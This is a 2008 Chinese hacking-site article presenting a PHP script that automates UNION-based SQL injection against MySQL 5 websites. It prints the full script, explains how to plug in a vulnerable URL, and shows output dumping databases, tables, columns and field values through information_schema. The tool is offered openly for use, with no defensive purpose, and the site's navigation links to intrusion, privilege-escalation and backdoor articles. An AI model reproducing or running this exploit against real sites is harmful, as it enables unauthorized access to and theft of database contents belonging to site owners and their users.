黑客风云——风云网络
设为首页 加入收藏 我要投稿 网站地图

您现在的位置: 黑客风云 >> 黑客文章 >> 黑客入门 >> 黑软介绍 >> 正文
·没有路由密码权限时的鸽08-23·上网安全 Vista自我防范10-11
·让濒临崩溃的Windows XP10-11·有备无患,快速自制救急10-11
·要你好看!Windows看图工10-11·空间赞助网提供不同类型10-11
·讨论net.exe和net1.exe的10-10·让3389远程桌面传输更通10-10
·巧妙入侵渗透赌博站10-10·Aspx空间扫权限工具10-10
·Windows2003最新提权工具10-10·易淘乐提供100M免费全能10-10
·系统开机密码忘了不着急10-09·中意网络提供免费100M免10-09
·与众不同 Windows XP开始10-08·让桌面图标翻跟斗 在XP上10-08
·上海宽元站长资助计划-提10-08·个性化Windows XP的任务10-07
·趣盘提供3G免费网络硬盘10-07·秀山热线提供200MB免费全10-07
·一次艰辛的提权过程10-06·成功入侵IT大卖场的渗透10-06
·mysqlhack- MYSQL利用工10-06·lanker一句话PHP后门客户10-06
·WIXI提供3G免费多媒体网10-06·新人网络提供100M/ftp免10-06
·如何利用QQ带来高流量10-05·UuShare提供免费网络文件10-05
[推荐]php+mysql 5 sql injection 暴取工具beta版
        ★★★★★

php+mysql 5 sql injection 暴取工具beta版

文章整理发布:黑客风云 文章来源:www.05112.com 更新时间:2008-4-3 11:22:52
mysql出来5版本以后,注入漏洞要比以前更容易利用了,也可以像mssql那样直接暴取了(甚至比mssql更容易了,因为mssql暴取是需要错误提示开启的,如果错误提示关闭的话,是需要暴力猜解的,而mysql的只要你找准注入点只要可以union出任何一个字段能在页面显示出来就可以了)。自从读了flyh4t的文章《Mysql5注射技巧总结》就一直想测试一下,结果我发现很多的站都更新到了这个版本,于是测试得不易乐呼~~~ 为了节省力气,自然是运用了自己所学的知识写个简单的工具自动暴取,比起手工来要省事多了。觉得会有许多朋友需要这样的工具,我虽然在网上找过包括最新的 pangolin,但是测试结果都不尽如人意。还是自己写的用起来顺手。其实代码没什么技术,但是本着共享的精神,算是提供个工具给大家吧,大家不要笑我哦
工具是php写的(因为俺觉得就这个写起来方便),代码如下:
以下是引用片段:
<?php
error_reporting(7);
echo "\tMysql ver 5 sql injection exploiter\n\n\t\tcoded by Mika[EST]\n\n";
if($argc>7 || $argc <2)
{
echo <<<INFO
\t\t\tUsage:$argv[0] -t [table] [-f <field> -c [condition]]\n
INFO;
die;
}
//****************************************************************************
$url="http://www.vul.com/display_msg.php?id=432%20and%201=2%20union%20select%201,2,3,4,5,MIKA_MIKA,7,8";
$db_name="vuldb";
//****************************************************************************
$curl=curl_init();
curl_setopt($curl,CURLOPT_HEADER,0);
curl_setopt($curl,CURLOPT_RETURNTRANSFER,1);
curl_setopt($curl,CURLOPT_PROXY,"127.0.0.1:8080");

function find_value($url){
global $curl;
//echo $url."\n";
curl_setopt($curl,CURLOPT_URL,$url);
$content=curl_exec($curl);
//echo $content;
$re=preg_match("/(\|\|.+?\|\|)/i",$content,$result);
//echo $content;
if($re)
{
//return str_replace('||','',$result[1]);
return $result[1];
}
return 0;
}

function str2ascii($str){
$temp="char(";
for($i=0;$i<strlen($str)-1;$i++){
//echo $str[$i]."\n";
$temp.=ord($str[$i]).',';
}
$temp.=ord($str[strlen($str)-1]).')';
//echo $temp."\n";
return $temp;
}

function exploit_db(){
global $url,$curl;
$new_url=str_replace('MIKA_MIKA','concat(0x7C7C,SCHEMA_NAME,0x7C7C)',$url);
$new_url.="%20from%20information_schema.SCHEMATA%20limit%20MIKA_MIKA,1/*";
$i=0;
echo "DATABASES:\n";
do{
$new=str_replace('MIKA_MIKA',$i,$new_url);
if($v1=find_value($new))
echo $v1."\n";
$i++;
}while($v1);
}

function exploit_tab(){
global $url,$db_name,$curl;
$new_url=str_replace('MIKA_MIKA','concat(0x7C7C,TABLE_NAME,0x7C7C)',$url);
$new_url.="%20from%20information_schema.TABLES%20where%20TABLE_SCHEMA=".str2ascii($db_name)."%20limit%20MIKA_MIKA,1/*";
echo "Tables of database ".strtoupper($db_name)." :\n";
$i=0;
do{
$new=str_replace('MIKA_MIKA',$i,$new_url);
if($v1=find_value($new))
echo $v1."\n";
$i++;
}while($v1);
}

function exploit_field(){
global $table_name,$url,$curl;
$new_url=str_replace('MIKA_MIKA','concat(0x7C7C,COLUMN_NAME,0x7C7C)',$url);
$new_url.="%20from%20information_schema.COLUMNS%20where%20TABLE_NAME=".str2ascii($table_name)."%20limit%20MIKA_MIKA,1/*";
$i=0;
echo "columns of table ".strtoupper($table_name)." :\n";
do{
$new=str_replace('MIKA_MIKA',$i,$new_url);
if($v1=find_value($new))
echo $v1."\n";
$i++;
}while($v1);
}

function exploit_value($mode=0){
global $db_name,$table_name,$field_name,$condition,$url,$curl;
$new_url=str_replace('MIKA_MIKA','concat(0x7C7C,MIKA_MIKA,0x7C7C)',$url);
if($mode)
{
$new_url.="%20from%20$db_name.$table_name%20where%20$condition/*";
$new=str_replace('MIKA_MIKA',$field_name,$new_url);
$v1=find_value($new);
echo $v1."\n";
return;
}
$new_url.="%20from%20$db_name.$table_name%20limit%20MIKA_NUM,1/*";
$new_url=str_replace('MIKA_MIKA',$field_name,$new_url);
$i=0;
echo "$field_name values of table ".strtoupper($table_name)." :\n";
do{
$new=str_replace('MIKA_NUM',$i,$new_url);
if($v1=find_value($new))
echo $v1."\n";
$i++;
}while($v1);
}

switch($argc){
case 2:
if($argv[1]=='-t')
exploit_tab();
if($argv[1]=='-d')
exploit_db();
break;
case 3:
$table_name=$argv[2];
exploit_field();
break;
case 5:
case 6:
$table_name=$argv[2];
$field_name=$argv[4];
exploit_value();
break;
case 7:
$table_name=$argv[2];
$field_name=$argv[4];
$condition=$argv[6];
exploit_value(1);
break;
}
?>

代码非常简单,而且我省了很多的力,只是一个非常粗糙的版本,完全是怎么方便怎么来的。但是满足暴取字段值什么的足够了,下面我简单解释一下吧:
在两个//*********之间的参数是需要直接在代码中修改的,因为太长了,放到命令行下改太麻烦,所以还是直接放代码里好。其中$url很明显就是有漏洞的url,要连union一起,就像代码里写的那样,如下:
http://www.vul.com/display_msg.p ... 0union%20select%201,2,3,4,5,6,7,8
比如第6个数字会在页面上显示,那么你就将数字6替换成“MIKA_MIKA”,而且最后不要跟注释符(因为程序会在提交的时候自动加上),最终的url如下:
以下是引用片段:
$url="http://www.vul.com/display_msg.php?id=432%20and%201=2%20union%20select%201,2,3,4,5,MIKA_MIKA,7,8";

另外$db_name是数据库名字,你可以直接用database()函数获取到,然后填到这里。

填完以后就可以用了,非常简单。打开cmd,切换到程序所在的目录,比如说暴取所有的数据库,可以这样用:
 F:\scripts\php\mine>php mysql5.php -d
 Mysql ver 5 sql injection exploiter

 coded by Mika[EST]

 DATABASES:
 ||information_schema||
 ||vuldb||
暴取表名:
 F:\scripts\php\mine>php mysql5.php -t
 Mysql ver 5 sql injection exploiter

 coded by Mika[EST]

 Tables of database VULDB :
 ||Articles||
 ||Audio||
 .
 .
 .
 省略
 .
 .
 .
暴取字段名:
 F:\scripts\php\mine>php mysql5.php -t Articles
 Mysql ver 5 sql injection exploiter

 coded by Mika[EST]

 columns of table ARTICLES :
 ||ID||
 ||Article_ID||
 ||Title||
 ||Type||
 .
 .
 .
 省略
 .
 .
 .
暴取值:
 F:\scripts\php\mine>php mysql5.php -t Articles -f Type
 Mysql ver 5 sql injection exploiter

 coded by Mika[EST]

 Type values of table ARTICLES :
 ||2||
 ||1||
 .
 .
 .
 省略
 .
 .
 .
另外你想加入自己的条件的话,可以在最后在加上-c参数然后再跟上where条件来限定(不要带where),比如:
 F:\scripts\php\mine>php mysql5.php -t Articles -f ID -c Type=2
 Mysql ver 5 sql injection exploiter

 coded by Mika[EST]

 ||58||
程序很简陋,但基本功能算是有了,俺也只是想到哪写到哪,所以以后有什么完善一定拿上来跟大家分享。代码里难免有错误和可以改进的地方,还请大家多帮忙一起修改。另外,代码里有这一行:
curl_setopt($curl,CURLOPT_PROXY,"127.0.0.1:8080");
这是为了使用代理的,如果不需要可以直接注释掉。

声明:转载请保持完整,另外真的希望大家都不要太吝啬,有了修改有了添加,还希望能拿出来跟大家一起分享,虽然俺的代码不怎么样。
文章录入:cainiaowang    责任编辑:xinlian 
【字体:
Copyright @2006 黑客风云 ●业务联系:QQ 联系怪人 联系奇人 Email:给怪人发邮件 给奇人发邮件
ICP备案:冀06009886